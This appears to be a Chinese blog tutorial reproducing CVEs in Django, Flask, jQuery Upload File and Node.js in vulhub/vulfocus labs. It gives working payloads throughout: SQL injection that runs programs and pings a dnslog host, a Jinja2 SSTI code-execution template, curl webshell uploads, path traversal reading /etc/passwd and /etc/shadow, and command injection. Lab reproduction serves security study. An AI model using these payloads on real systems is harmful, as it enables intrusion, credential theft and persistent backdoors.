当前位置: 首页 > news >正文

框架安全-CVE 漏洞复现DjangoFlaskNode.jsJQuery框架漏洞复现

目录

  • 服务攻防-框架安全&CVE复现&Django&Flask&Node.JS&JQuery漏洞复现
    • 中间件列表介绍
    • 常见语言开发框架
    • Python开发框架安全-Django&Flask漏洞复现
      • Django开发框架
      • 漏洞复现
        • CVE-2019-14234(Django JSONField/HStoreField SQL注入漏洞)
        • CVE-2021-35042(Django QuerySet.order_by SQL注入漏洞)
      • Flask Jinja2 SSTI
      • 漏洞复现
        • Flask(Jinja2) 服务端模板注入漏洞
    • JavaScript开发框架安全-Jquery&Node漏洞复现
      • jQuery框架
      • 漏洞复现
        • CVE_2018_9207-jQuery Upload File漏洞复现
      • Node.js
      • 漏洞复现
        • Node.js 目录穿越漏洞(CVE-2017-14849)
        • Node.js 命令执行 (CVE-2021-21315)

服务攻防-框架安全&CVE复现&Django&Flask&Node.JS&JQuery漏洞复现

中间件列表介绍

中间件及框架列表:

IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery 等

1、开发框架-PHP-Laravel-Thinkphp

2、开发框架-Javaweb-St2-Spring

3、开发框架-Python-django-Flask

4、开发框架-Javascript-Node.js-JQuery

5、其他框架-Java-Apache Shiro&Apache Sorl

常见语言开发框架

PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend 等

JAVA:Spring MyBatis Hibernate Struts2 Springboot 等

Python:Django Flask Bottle Turbobars Tornado Web2py 等

Javascript:Vue.js Node.js Bootstrap JQuery Angular 等

常见中间件的安全测试:

1、配置不当-解析&弱口令

2、安全机制-特定安全漏洞

3、安全机制-弱口令爆破攻击

4、安全应用-框架特定安全漏洞

中间件安全测试流程:

1、判断中间件信息-名称&版本&三方

2、判断中间件问题-配置不当&公开漏洞

3、判断中间件利用-弱口令&EXP&框架漏洞

应用服务安全测试流程:

1、判断服务开放情况-端口扫描&组合应用等

2、判断服务类型归属-数据库&文件传输&通讯等

3、判断服务利用方式-特定漏洞&未授权&弱口令等

开发框架组件安全测试流程:

1、判断常见语言开发框架类型

2、判断开发框架存在的 CVE 问题

Python开发框架安全-Django&Flask漏洞复现

Django开发框架

介绍:django(Python Web 框架)详解

Django是一个高级的Python Web框架,可以快速开发安全和可维护的网站。由经验丰富的开发者构建,Django负责处理网站开发中麻烦的部分,可以专注于编写应用程序,而无需重新开发。它是免费和开源的,有活跃繁荣的社区,丰富的文档,以及很多免费和付费的解决方案。

Django 是一款广为流行的开源 web 框架,由 Python 编写,许多网站和 app 都基于
Django 开发。Django 采用了 MTV 的框架模式,即模型 M,视图 V 和模版 T,使用
Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且
Django 还包含许多功能强大的第三方插件,使得 Django 具有较强的可扩展性。

安全问题:

CVE_2019_14234

CVE-2021-35042

漏洞复现

CVE-2019-14234(Django JSONField/HStoreField SQL注入漏洞)

该漏洞要求开发者使用 JSONField/HStoreField;此外,还可以控制 QuerySet 的字段名称。Django 的内置应用程序 Django-Admin 受到影响,这为我们提供了一种重现漏洞的简单方法。

靶场:vulhub

参考:Django JSONField/HStoreField SQL注入漏洞复现

image-20231029172240612

开启环境:

image-20231029172437823

访问web界面:

image-20231029172549248

首先,使用用户名和密码登录 Django-Admin。

http://your-ip:8000/admin/

账号:admin 密码:a123123123

成功登录:

image-20231029172835555

然后转到模型的列表视图:

http://your-ip:8000/admin/vuln/collection/

Collection

image-20231029173347585

添加到 GET 参数中,其中是 JSONField:

detail__a'b=123 detail

payload:

http://your-ip:8000/admin/vuln/collection/?detail__a%27b=123

可以看到单引号注入成功,SQL语句报错:

image-20231029173547506

创建 cmd_exec:

payload:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%
20%3bcreate%20table%20cmd_exec(cmd_output%20text)--%20

执行效果:

成功创建

image-20231029173642878

调用 cmd_exec 执行命令:

DNSlog获取地址

payload:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%
20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%20xxxx.dnslog.cn%27--%20

image-20231029174041806

DNSlog回显效果:

image-20231029174025586

CVE-2021-35042(Django QuerySet.order_by SQL注入漏洞)

该漏洞需要开发人员使用order_by功能。此外,还可以控制查询集的输入。

靶场:vulhub

参考:Django QuerySet.order_by SQL注入漏洞复现

image-20231029174553987

开启环境:

image-20231029175205490

访问web界面:

image-20231029175521855

首先,转到列表视图并添加到 GET 参数。

payload:

http://your-ip:8000/vuln/order=-id

执行过后会看到按 id 降序排序的数据:

image-20231029175503012

payload:
目录:
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20@@basedir)),1)%23版本:
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20version())),1)%23数据库名:
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20database())),1)%23

可以看到单括号已经注入成功,可以从错误中获取信息。

查看目录:

image-20231029175617387

爆版本号:

image-20231029175653357

爆数据库名:

image-20231029175735226

Flask Jinja2 SSTI

介绍:Flask详解

Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用
Werkzeug ,模板引擎则使用 Jinja2。Flask使用 BSD 授权。

Flask也被称为 “microframework” ,因为它使用简单的核心,用 extension 增加其他功能。Flask没有默认使用的数据库、窗体验证工具。

安全问题:

Flask(Jinja2) 服务端模板注入漏洞

漏洞复现

Flask(Jinja2) 服务端模板注入漏洞

靶场:vulhub

参考:Flask(Jinja2) 服务端模板注入漏洞复现

image-20231029180646523

开启环境:

image-20231029180816652

访问web界面:

image-20231029180838789

接下来进行访问,http://your-ip/?name={{123*123}},得到15129这个结果,则说明SSTI漏洞存在。

image-20231029181008341

获取eval函数并执行任意python代码的POC:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()') }}{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}

ps:需要进行url编码,编码过后直接通过GET请求,发送即可。

image-20231029181552579

执行命令处,自定义像要执行的命令,查看的信息,每次更换命令都需要进行URL编码重新发送。

image-20231029181214232

其他命令:ls,whoami

执行效果:

image-20231029181451946

image-20231029181527216

JavaScript开发框架安全-Jquery&Node漏洞复现

jQuery框架

介绍:jQuery详解

jQuery是一个快速、简洁的JavaScript框架,是继Prototype之后又一个优秀的JavaScript代码库(框架)于2006年1月由John Resig发布。jQuery设计的宗旨是“write Less,Do More”,即倡导写更少的代码,做更多的事情。它封装JavaScript常用的功能代码,提供一种简便的JavaScript设计模式,优化HTML文档操作、事件处理、动画设计和Ajax交互。

安全问题:

CVE_2018_9207

CVE_2018_9208

CVE_2018_9209

漏洞复现

CVE_2018_9207-jQuery Upload File漏洞复现

jQuery是一个快速、简洁的JavaScript框架,是继Prototype之后又一个优秀的JavaScript代码库(框架)于2006年1月由John Resig发布。 jQuery Upload File <= 4.0.2 中的任意文件上传 根目录下/jquery-upload-file

靶场:vulfocus

开启靶场:

image-20231029214847162

访问web界面:

image-20231029214903143

访问框架引用目录结构:

/jquery-upload-file/

image-20231029214930061

利用:

一条命令即可解决,访问并上传文件。

payload:
//访问网站,进行上传;前提是在文件夹下创建后门文件。
curl -F "myfile=@shell.php" "http://192.168.100.134:37180/jquery-upload-file/php/upload.php"curl -F "myfile=@cmd.php" "http://192.168.100.134:37180/jquery-upload-file/php/upload.php"

上传shell.php:

image-20231029215115640

上传cmd.php:

image-20231029215508572

查看:

上传文件所在位置:(后门为php)

/jquery-upload-file/php/uploads/

image-20231029215132838

image-20231029215532519

验证,可否解析执行:

image-20231029215146073

使用蚁剑连接:

连接成功

image-20231029215237733

其他列出的安全问题,基本都差不多。

Node.js

详解:node.js详解

Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境,用于方便的搭建响应
速度快、易于拓展的网络应用。

Node.js对一些特殊用例进行优化,提供替代的API,使得V8在非浏览器环境下运行得更好,V8引擎执行Javascript的速度非常快,性能非常好,基于Chrome JavaScript运行时建立的平台, 用于方便地搭建响应速度快、易于扩展的网络应用

安全问题:

CVE_2021_21315

CVE_2017_14849

漏洞复现

Node.js 目录穿越漏洞(CVE-2017-14849)

Joyent Node.js是美国Joyent公司的一套建立在Google V8 JavaScript引擎之上的网络应用平台。该平台主要用于构建高度可伸缩的应用程序,以及编写能够处理数万条且同时连接到一个物理机的连接代码。 Joyent Node.js 8.6.0之前的8.5.0版本中存在安全漏洞。远程攻击者可利用该漏洞访问敏感文件。

漏洞原因是 Node.js 8.5.0 对目录进行normalize操作时出现了逻辑错误,导致向上层跳跃的时候(如../../../../../../etc/passwd),在中间位置增加foo/../(如../../../foo/../../../../etc/passwd),即可使normalize返回/etc/passwd,但实际上正确结果应该是../../../../../../etc/passwd

express这类web框架,通常会提供了静态文件服务器的功能,这些功能依赖于normalize函数。比如,express在判断path是否超出静态目录范围时,就用到了normalize函数,上述BUG导致normalize函数返回错误结果导致绕过了检查,造成任意文件读取漏洞。

靶场:vulfocus

参考:CVE-2017-14849复现

开启环境:

image-20231029220842271

访问web界面:

image-20231029220949792

其中引用到了文件/static/main.js,说明其存在静态文件服务器。

image-20231029222139768

构造请求:

通过GET请求发送以下数据包即可:
GET:
...
/static/../../../a/../../../../etc/passwd
...

完整数据包:

GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: 192.168.100.134:56111
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

发送给重发器,然后再发送数据包过后:

(如果打开web界面抓包时,构造请求后,发包无法正常回显,状态码报错。可尝试删除cookie等相关信息,不然可能会无法正常回显,错误状态码。如果正常回显,就可以不用删除。)

image-20231029221917617

效果:成功读取/etc/passwd文件

image-20231029221456694

效果:成功读取/etc/shadow文件

image-20231029221517759

Node.js 命令执行 (CVE-2021-21315)

Node.js-systeminformation是用于获取各种系统信息的Node.JS模块,它包含多种轻量级功能,可以检索详细的硬件和系统相关信息 npm团队发布安全公告,Node.js库中的systeminformation软件包中存在一个命令注入漏洞(CVE-2021-21315),其CVSSv3评分为7.8。攻击者可以通过在未经过滤的参数中注入Payload来执行系统命令。

靶场:vulfocus

开启环境:

image-20231029222901495

访问web界面:

image-20231029222827237

构造GET请求:

payload:
/api/getServices?name[]=$(echo%20%27rumilc666%27%20>%20rumi.txt)

执行过后:

image-20231029224746956

验证:

成功生成该文件

docker ps
docker exec -it id /bin/bash

image-20231029224713536

相关文章:

框架安全-CVE 漏洞复现DjangoFlaskNode.jsJQuery框架漏洞复现

目录 服务攻防-框架安全&CVE复现&Django&Flask&Node.JS&JQuery漏洞复现中间件列表介绍常见语言开发框架Python开发框架安全-Django&Flask漏洞复现Django开发框架漏洞复现CVE-2019-14234&#xff08;Django JSONField/HStoreField SQL注入漏洞&#xff…...

基于SSM的理发店管理系统

基于SSM的理发店管理系统的设计与实现~ 开发语言&#xff1a;Java数据库&#xff1a;MySQL技术&#xff1a;SpringSpringMVCMyBatis工具&#xff1a;IDEA/Ecilpse、Navicat、Maven 系统展示 主页 公告信息 管理员界面 用户界面 摘要 基于SSM&#xff08;Spring、Spring MVC、…...

2.Spark的工作与架构原理

概述 目标&#xff1a; spark的工作原理spark数据处理通用流程rdd 什么是rddrdd 的特点 spark架构 spark架构相关进程spark架构原理 spark的工作原理 spark 的工作原理&#xff0c;如下图 图中中间部分是spark集群&#xff0c;也可以是基于 yarn 的&#xff0c;图上可以…...

qt-C++笔记之带有倒计数显示的按钮,计时期间按钮锁定

qt-C笔记之带有倒计数显示的按钮&#xff0c;计时期间按钮锁定 code review! 文章目录 qt-C笔记之带有倒计数显示的按钮&#xff0c;计时期间按钮锁定1.运行2.main.cc3.main.pro 1.运行 2.main.cc 代码 #include <QApplication> #include <QPushButton> #includ…...

HTML全局属性(global attribute)有哪些?

HTML全局属性是指在HTML元素上可用的基本属性&#xff0c;它们适用于所有HTML元素。以下是一些常见的HTML全局属性&#xff1a; 1&#xff1a;class&#xff1a;为元素指定一个或多个类名&#xff0c;用于与CSS样式表关联。 2&#xff1a;id&#xff1a;:为元素指定唯一的标识…...

MyBatis-Plus返回getOne返回null疑惑

getOne返回null 问题描述分析过程总结 问题描述 在数据库建了一张表主要包括两个字段master_id和slave_id;主要的额外字段max_lots 默认值是null&#xff1b; 当调用getOne进行查询结果是null&#xff0c;但实际情况是数据库时应该返回值的&#xff1b; AotfxMasterSlave ex…...

Physics2DPlugin3加载后会跳转gsap官网解决

因工作需要使用Physics2DPlugin3库&#xff0c;目标效果 加载他里面的在线js&#xff0c;使用效果正常&#xff0c;但是几秒会跳转官网&#xff0c;我们app内部、浏览器都会这样。 于是研究js代码&#xff0c;发现里面有setTimeout跳转。 删掉就好了 分享我改好的文件&#x…...

【AI视野·今日Sound 声学论文速览 第三十二期】Tue, 24 Oct 2023

AI视野今日CS.Sound 声学论文速览 Tue, 24 Oct 2023 Totally 20 papers &#x1f449;上期速览✈更多精彩请移步主页 Interesting: &#x1f4da;nvas3d, 基于任意录音和室内3D信息合成重建不同听角&#xff08;位置&#xff09;处的新的声音。(from apple cmu) website: htt…...

在Linux上编译gdal3.1.2指南

作者:朱金灿 来源:clever101的专栏 为什么大多数人学不会人工智能编程?>>> 以Ubuntu 18编译gdal3.1.2为例,编译gdal3.1.2需要先编译proj库和geos库(可选)。我选择的proj库版本为proj-7.1.0,编译proj-7.1.0需要先编译tiff库和sqlite3。我选择的sqlite3的版本为…...

73. 矩阵置零 --力扣 --JAVA

题目 给定一个 m x n 的矩阵&#xff0c;如果一个元素为 0 &#xff0c;则将其所在行和列的所有元素都设为 0 。请使用 原地 算法。 解题思路 通过二层循环找出元素为0所在的行和列&#xff1b;设置标志位记录当前行是否存在元素为0的&#xff0c;设置列表存储列为0的列&#…...

(笔记)Kotlin——Android封装ViewBinding之二 优化

0. 在app模块的build.gradle文件中添加如下配置开启ViewBinding android {.......viewBinding {enabled true}} 1. 新建一个Ext.kt文件 添加两个扩展函数&#xff0c;分别对应Activity和Fragment inline fun <T : ViewBinding> AppCompatActivity.viewBinding(cross…...

MATLAB算法实战应用案例精讲-【图像处理】机器视觉(基础篇)(八)

目录 前言 几个高频面试题目 机器视觉如何获取到好图像 常见的视觉光源 各种视觉打光方式...

由k8s升级慢引起的etcd性能不足的问题排查

一、基本介绍 最近etcd查看出现性能 curl --cacert /path/to/etcdctl-ca.crt --cert /path/to/etcdctl.crt --key /path/to/etcdctl.key https://:2379/metrics | grep etcd_disk_wal_fsync_duration_seconds_bucket 当集群规模突破过大时规模时,曾出现如下性能瓶颈问题: etc…...

如何构建用于Skydel GNSS模拟仿真的SNMP代理方式?

使用Skydel API构建测试方案 凭借其现代、强大且直观的API&#xff0c;德思特Safran GNSS模拟引擎Skydel免费提供了Python、C#、C和Labview的开源客户端库&#xff0c;它具有600多条命令&#xff0c;并且有完善的文档与记录。 随着Skydel软件更新添加新功能&#xff0c;API得…...

vue2+ant-design-vue a-form-model组件二次封装(form表单组件)FormModel 表单

一、效果图 二、参数配置 1、代码示例 <t-antd-form:ref-obj.sync"formOpts.ref":formOpts"formOpts":widthSize"1":labelCol"{ span:2}":wrapperCol"{ span:22}"handleEvent"handleEvent" />2. 配置参数…...

对比解析php和go对JSON处理的区别

一、go 转化php数组代码 php程序 $str <<<EOF {"操作源":"任意","数据库":"任意","语句类型":"CREATE DATABASE&#xff1b;DROP DATABASE&#xff1b;ALTER DATABASE","影响行数":"不…...

HTTP和HTTPS本质区别——SSL证书

HTTP和HTTPS是两种广泛使用的协议&#xff0c;尽管它们看起来很相似&#xff0c;但是它们在网站数据传输的安全性上有着本质上的区别。 HTTP是明文传输协议&#xff0c;意味着通过HTTP发送的数据是未经加密的&#xff0c;容易受到拦截、窃听和篡改的风险。而HTTPS通过使用SSL或…...

JS 防抖和节流

防抖&#xff08;debounce&#xff09;和节流&#xff08;throttle&#xff09;是JavaScript中常用的性能优化技术&#xff0c;用于限制某些高频率触发的函数执行次数&#xff0c;减少不必要的计算和网络请求。下面分别介绍防抖和节流的实现方式。 防抖&#xff08;Debounce&am…...

Django开发实例总结(入门级、4.2.6、详细)

目录 概述 Django的核心组件包括 Django的项目结构 创建工程&#xff08;4.2.6&#xff09; 实例一&#xff1a;Hello world 实例二&#xff1a;访问一个自定义主页 实例三&#xff1a;通过登录跳转到主页 实例四&#xff1a;主页添加静态文件&#xff0c;包含js、css、…...

Variations-of-SFANet-for-Crowd-Counting可视化代码

前文对Variations-of-SFANet-for-Crowd-Counting做了一点基础梳理&#xff0c;链接如下&#xff1a;Variations-of-SFANet-for-Crowd-Counting记录-CSDN博客 本次对其中两个可视化代码进行梳理 1.Visualization_ShanghaiTech.ipynb 不太习惯用jupyter notebook, 这里改成了p…...

一个自动反汇编脚本

一、环境 wsl ubuntu18.04、python3.6 二、目的 调试程序&#xff0c;需要分析第三方库。希望能将多个库自动转为汇编文件。 三、使用方法 将该脚本下载&#xff0c;进入wsl&#xff0c;进入到该脚本所有文件夹。 请使用 python 脚本名.py 运行。 1&#xff09;、运行…...

【选配电脑】CPU核显工作机控制预算5000

【选配电脑】CPU核显工作机控制预算5000 1.背景2.配置及估价3.选配的说明 1.背景 不需要独立显卡&#xff0c;内存&#xff0c;硬盘尽量大&#xff1b; 预算控制到5000&#xff0c; 主板型号&#xff0c;电源功率支持后续添加独立显卡。 时间节点&#xff1a;2025.06.07 2.配…...

SQLMesh实战:用虚拟数据环境和自动化测试重新定义数据工程

在数据工程领域&#xff0c;软件工程实践&#xff08;如版本控制、测试、CI/CD&#xff09;的引入已成为趋势。尽管像 dbt 这样的工具已经推动了数据建模的标准化&#xff0c;但在测试自动化、工作流管理等方面仍存在不足。 SQLMesh 应运而生&#xff0c;旨在填补这些空白&…...

若依添加添加监听容器配置(删除键,键过期)

1、配置Redis的键触发事件 # 基础配置 bind 0.0.0.0 # 允许所有IP连接 protected-mode no # 关闭保护模式&#xff08;生产环境建议结合密码使用&#xff09; port 6379 # 默认端口 daemonize no …...

正则表达式检测文件类型是否为视频或图片

// 配置化文件类型检测&#xff08;集中管理支持的类型&#xff09; const FILE_TYPE_CONFIG {video: {extensions: [mp4, webm, ogg, quicktime], // 可扩展支持更多格式regex: /^video\/(mp4|webm|ogg|quicktime)$/i // 自动生成正则},image: {extensions: [jpeg, jpg, png,…...

婚恋小程序直播系统框架搭建

逻辑分析 直播流管理&#xff1a;需要处理主播端的直播流推送&#xff0c;确保直播流能够稳定、高效地传输到各个观看用户的设备上。这涉及到选择合适的流媒体协议&#xff0c;如 RTMP&#xff08;Real-Time Messaging Protocol&#xff09;、HLS&#xff08;HTTP Live Streami…...

使用矩阵乘法+线段树解决区间历史和问题的一种通用解法

文章目录 前言P8868 [NOIP2022] 比赛CF1824DP9990/2020 ICPC EcFinal G 前言 一般解决普通的区间历史和&#xff0c;只需要定义辅助 c h s − t ⋅ a chs-t\cdot a chs−t⋅a&#xff0c; h s hs hs是历史和&#xff0c; a a a是区间和&#xff0c; t t t是时间戳&#xff0c…...

AI浪潮下的IT行业:威胁、转变与共生之道

目录 前言1 AI在IT行业的具体应用场景1.1 软件开发中的AI助手1.2 运维与监控的智能化1.3 测试自动化与质量保障1.4 安全防护中的智能威胁识别 2 AI对IT从业者的实际影响2.1 工作内容的结构性变化2.2 技能结构的再平衡 3 IT从业者不可替代的能力与价值3.1 复杂系统的架构与抽象能…...

蓝桥杯单片机之通过实现同一个按键的短按与长按功能

实现按键的短按与长按的不同功能 问题分析 对于按键短按&#xff0c;通常是松开后实现其功能&#xff0c;而不会出现按下就进行后续的操作&#xff1b;而对于按键长按&#xff0c;则不太一样&#xff0c;按键长按可能分为两种情况&#xff0c;一是长按n秒后实现后续功能&…...

基于Flask框架的前后端分离项目开发流程是怎样的?

基于Flask框架的前后端分离项目开发流程可分为需求分析、架构设计、并行开发、集成测试和部署上线五个阶段。以下是详细步骤和技术要点&#xff1a; 一、需求分析与规划 1. 明确项目边界 功能范围&#xff1a;确定核心功能&#xff08;如用户认证、数据管理、支付流程&#…...